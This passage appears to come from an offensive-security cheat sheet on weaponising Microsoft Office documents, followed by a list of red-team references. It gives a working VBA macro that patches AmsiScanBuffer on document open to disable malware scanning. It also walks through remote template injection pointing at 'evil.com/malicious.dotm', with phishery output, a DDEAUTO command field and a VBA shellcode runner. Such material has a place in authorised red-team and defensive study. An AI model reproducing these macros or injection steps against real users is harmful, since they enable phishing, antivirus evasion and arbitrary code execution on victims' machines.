[synacktiv/AMSI-Bypass](https://github.com/synacktiv/AMSI-Bypass) 639 640 ```vb 641 Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr 642 Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr 643 Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long 644 Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As LongPtr) 645 646 Private Sub Document_Open() 647 Dim AmsiDLL As LongPtr 648 Dim AmsiScanBufferAddr As LongPtr 649 Dim result As Long 650 Dim MyByteArray(6) As Byte 651 Dim ArrayPointer As LongPtr 652 653 MyByteArray(0) = 184 ' 0xB8 654 MyByteArray(1) = 87 ' 0x57 655 MyByteArray(2) = 0 ' 0x00 656 MyByteArray(3) = 7 ' 0x07 657 MyByteArray(4) = 128 ' 0x80 658 MyByteArray(5) = 195 ' 0xC3 659 660 AmsiDLL = LoadLibrary("amsi.dll") 661 AmsiScanBufferAddr = GetProcAddress(AmsiDLL, "AmsiScanBuffer") 662 result = VirtualProtect(ByVal AmsiScanBufferAddr, 5, 64, 0) 663 ArrayPointer = VarPtr(MyByteArray(0)) 664 CopyMemory ByVal AmsiScanBufferAddr, ByVal ArrayPointer, 6 665 666 End Sub 667 ``` 668 669 ### DOCX - Template Injection 670 671 :warning: Does not require "Enable Macro" 672 673 #### Remote Template 674 675 1. A malicious macro is saved in a Word template .dotm file 676 2. Benign .docx file is created based on one of the default MS Word Document templates 677 3. Document from step 2 is saved as .docx 678 4. Document from step 3 is renamed to .zip 679 5. Document from step 4 gets unzipped 680 6. **.\word_rels\settings.xml.rels** contains a reference to the template file. That reference gets replaced with a reference to our malicious macro created in step 1. File can be hosted on a web server (http) or webdav (smb). 681 682 ```xml 683 <?xml version="1.0" encoding="UTF-8" standalone="yes"?> 684 <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="file:///C:\Users\mantvydas\AppData\Roaming\Microsoft\Templates\Polished%20resume,%20designed%20by%20MOO.dotx" TargetMode="External"/></Relationships> 685 ``` 686 687 ```xml 688 <?xml version="1.0" encoding="UTF-8" standalone="yes"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" 689 Target="https://evil.com/malicious.dotm" TargetMode="External"/></Relationships> 690 ``` 691 692 7. File gets zipped back up again and renamed to .docx 693 694 #### Template Injections Tools 695 696 * [JohnWoodman/remoteInjector](https://github.com/JohnWoodman/remoteInjector) 697 * [ryhanson/phishery](https://github.com/ryhanson/phishery) 698 699 ```ps1 700 $ phishery -u https://secure.site.local/docs -i good.docx -o bad.docx 701 [+] Opening Word document: good.docx 702 [+] Setting Word document template to: https://secure.site.local/docs 703 [+] Saving injected Word document to: bad.docx 704 [*] Injected Word document has been saved! 705 ``` 706 707 ### DOCX - DDE 708 709 * Insert > QuickPart > Field 710 * Right Click > Toggle Field Code 711 * `{ DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" }` 712 713 ## Visual Studio Tools for Office (VSTO) 714 715 A VSTO file is a project file created with Visual Studio Tools for Office, a set of development tools provided by Microsoft for building custom add-ins and solutions for Microsoft Office applications. These projects allow developers to enhance the functionality of Office programs like Excel, Word, and Outlook by integrating additional features, automation, and user interface customizations. 716 717 * Visual Studio > `Word 2013 and 2016 VSTO Add-in` 718 719 ## Office Macro Development 720 721 ### Execute WinAPI 722 723 To importe Win32 function we need to use the keyword `Private Declare` 724 725 ```vb 726 Private Declare Function <NAME> Lib "<DLL_NAME>" Alias "<FUNCTION_IMPORTED>" (<ByVal/ByRef> <NAME_VAR> As <TYPE>, etc.) As <TYPE> 727 ``` 728 729 If we work on 64bit, we need to add the keyword `PtrSafe` between the keywords `Declare` and `Function` 730 Importing the `GetUserNameA` from `advapi32.dll`: 731 732 ```vb 733 Private Declare PtrSafe Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, ByRef nSize As Long) As Long 734 ``` 735 736 `GetUserNameA` prototype in C: 737 738 ```C 739 BOOL GetUserNameA( 740 LPSTR lpBuffer, 741 LPDWORD pcbBuffer 742 ); 743 ``` 744 745 ### Example with a simple Shellcode Runner 746 747 ```vb 748 Private Declare PtrSafe Function VirtualAlloc Lib "Kernel32.dll" (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr 749 Private Declare PtrSafe Function RtlMoveMemory Lib "Kernel32.dll" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr 750 Private Declare PtrSafe Function CreateThread Lib "KERNEL32.dll" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr 751 752 Sub WinAPI() 753 Dim buf As Variant 754 Dim addr As LongPtr 755 Dim counter As Long 756 Dim data As Long 757 buf = Array(252, ...) 758 addr = VirtualAlloc(0, UBound(buf), &H3000, &H40) 759 For counter = LBound(buf) To UBound(buf) 760 data = buf(counter) 761 res = RtlMoveMemory(addr + counter, data, 1) 762 Next counter 763 res = CreateThread(0, 0, addr, 0, 0, 0) 764 End Sub 765 ``` 766 767 ## References 768 769 * [AMSI in the heap - rmdavy](https://secureyourit.co.uk/wp/2020/04/17/amsi-in-the-heap/) 770 * [Analyzing VSTO Office Files - Didier Stevens - April 29, 2022](https://blog.nviso.eu/2022/04/29/analyzing-vsto-office-files/) 771 * [Anti-Analysis Techniques Used in Excel 4.0 Macros - 24 March 2021 - @Jacob_Pimental](https://www.goggleheadedhacker.com/blog/post/23) 772 * [Bypassing AMSI fro VBA - Outflank](https://outflank.nl/blog/2019/04/17/bypassing-amsi-for-vba/) 773 * [Dechaining macros and evading EDR - Noora Hyvärinen - 04/04/19](https://blog.f-secure.com/dechaining-macros-and-evading-edr/) 774 * [Evil Clippy MS Office Maldoc Assistant - Outflank](https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/) 775 * [Excel 4 Macro Generator x86/x64 - bytecod3r](https://bytecod3r.io/excel-4-macro-generator-x86-x64/) 776 * [Excel 4.0 Macro Function Reference PDF](https://d13ot9o61jdzpp.cloudfront.net/files/Excel%204.0%20Macro%20Functions%20Reference.pdf) 777 * [Excel 4.0 macro old but new - fsx30](https://medium.com/@fsx30/excel-4-0-macro-old-but-new-967071106be9) 778 * [Excel 4.0 Macros so hot right now - SneekyMonkey](https://www.sneakymonkey.net/2020/06/22/excel-4-0-macros-so-hot-right-now/) 779 * [Executing macros from docx with remote - RedXORBlue - July 18, 2018](http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html) 780 * [Further evasion in the forgotten corners of ms xls - malware.pizza](https://malware.pizza/2020/06/19/further-evasion-in-the-forgotten-corners-of-ms-xls/) 781 * [Inject macro from a remote dotm template - ired.team](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/inject-macros-from-a-remote-dotm-template-docx-with-macros) 782 * [Macros and more with sharpshooter v2.0 - mdsec](https://www.mdsec.co.uk/2019/02/macros-and-more-with-sharpshooter-v2-0/) 783 * [Make phishing great again. VSTO office files are the new macro nightmare? - Daniel Schell - Apr 14, 2022](https://medium.com/@airlockdigital/make-phishing-great-again-vsto-office-files-are-the-new-macro-nightmare-e09fcadef010) 784 * [MS OFFICE FILE FORMAT SORCERY - TROOPERS19 - Pieter Ceelen & Stan Hegt - 21 March 2019](https://github.com/outflanknl/Presentations/blob/master/Troopers19_MS_Office_file_format_sorcery.pdf) 785 * [Office VBA AMSI Parting the veil on malicious macros - Microsoft](https://www.microsoft.com/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/) 786 * [Old schoold evil execl 4.0 macros XLM - Outflank](https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/) 787 * [One thousand and one ways to copy your shellcode to memory (VBA Macros) - X-C3LL - Feb 18, 2021](https://adepts.of0x.cc/alternatives-copy-shellcode/) 788 * [Phishing SLK - ired.team](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-.slk-excel)bypassing-malicious-macro-detections-by-defeating-child-parent-process-relationships) 789 * [Phishinh with OLE - ired.team](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-ole-+-lnk) 790 * [PropertyBomb an old new technique for arbitrary code execution in vba macro - Leon Berlin - 22 May 2018](https://www.bitdam.com/2018/05/22/propertybomb-an-old-new-technique-for-arbitrary-code-execution-in-vba-macro/) 791 * [Running macros via ActiveX controls - greyhathacker - September 29, 2016](http://www.greyhathacker.net/?p=948) 792 * [So you think you can block Macros? - Pieter Ceelen - April 25, 2023](https://outflank.nl/blog/2023/04/25/so-you-think-you-can-block-macros/) 793 * [T1137.006 - Office Application Startup: Add-ins - redcanaryco](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1137.006/T1137.006.md) 794 * [VBA RunPE Part 1 - itm4n](https://itm4n.github.io/vba-runpe-part1/) 795 * [VBA RunPE Part 2 - itm4n](https://itm4n.github.io/vba-runpe-part2/) 796 * [VBad - Pepitoh](https://github.com/Pepitoh/VBad) 797 * [VenomousSway - VBA payload generation framework / Retired TrustedSec Capabilities - Trustedsec - May 22, 2024](https://github.com/trustedsec/The_Shelf/tree/main/Retired/venomoussway) 798 * [VSTO: THE PAYLOAD INSTALLER THAT PROBABLY DEFEATS YOUR APPLICATION WHITELISTING RULES - BOHOPS - JANUARY 31, 2018](https://bohops.com/2018/01/31/vsto-the-payload-installer-that-probably-defeats-your-application-whitelisting-rules/) 799 * [Windows Defender Exploit Guard ASR Rules for Office - Carlos Perez - November 14, 2017](https://www.darkoperator.com/blog/2017/11/11/windows-defender-exploit-guard-asr-rules-for-office) 800 * [WordAMSIBypass - rmdavy](https://github.com/rmdavy/WordAmsiBypass) 801 * [XLS 4.0 macros and covenant - d-sec](https://d-sec.net/2020/10/24/xls-4-0-macros-and-covenant/)